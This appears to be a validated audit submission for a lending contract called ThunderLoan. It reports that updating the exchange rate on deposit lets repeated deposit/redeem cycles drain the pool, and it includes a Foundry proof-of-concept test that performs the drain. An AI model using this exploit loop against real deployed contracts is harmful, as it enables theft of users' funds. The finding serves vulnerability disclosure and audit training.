Beginner FriendlyFoundryDeFiOracle
100 EXP
View results
Submission Details
Severity: high
Valid

The exchange rate can be manipulated

Summary

The exchange rate is updated when the deposit() function is called. Attackers can repeatedly use the deposit() and redeem() functions to inflate the exchange rate, ultimately draining the contract.

Vulnerability Details

function testManipulateExchangeRate() public setAllowedToken hasDeposits {
tokenA.mint(address(this), DEPOSIT_AMOUNT);
AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
uint256 exchangeRate_before = assetToken.getExchangeRate();
uint256 tokenABalance_thunderLoan_before = tokenA.balanceOf(address(assetToken));
uint256 tokenABalance_this_before = tokenA.balanceOf(address(this));
for(uint256 i; i < 332; i++){
uint256 balance = tokenA.balanceOf(address(this));
tokenA.approve(address(thunderLoan), balance);
thunderLoan.deposit(tokenA, balance);
uint256 assetTokenBalance = IERC20(assetToken).balanceOf(address(this));
thunderLoan.redeem(tokenA, assetTokenBalance);
}
uint256 exchangeRate_after = assetToken.getExchangeRate();
uint256 tokenABalance_thunderLoan_after = tokenA.balanceOf(address(assetToken));
uint256 tokenABalance_this_after = tokenA.balanceOf(address(this));
assert(tokenABalance_thunderLoan_before > tokenABalance_thunderLoan_after);
assert(tokenABalance_this_after > tokenABalance_this_before);
assert(exchangeRate_after > exchangeRate_before);
emit log_named_decimal_uint("exchangeRate_before:", exchangeRate_before, 18);
emit log_named_decimal_uint("exchangeRate_after:", exchangeRate_after, 18);
emit log_named_decimal_uint("tokenABalance_thunderLoan_before:", tokenABalance_thunderLoan_before, 18);
emit log_named_decimal_uint("tokenABalance_thunderLoan_after:", tokenABalance_thunderLoan_after, 18);
emit log_named_decimal_uint("tokenABalance_this_before:", tokenABalance_this_before, 18);
emit log_named_decimal_uint("tokenABalance_this_after:", tokenABalance_this_after, 18);
}

Impact

Loss of funds

Tools Used

Foundry

Recommendations

Do not update the exchange rate in the deposit() function.

Updates

Lead Judging Commences

0xnevi Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

can't redeem because of the update exchange rate

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.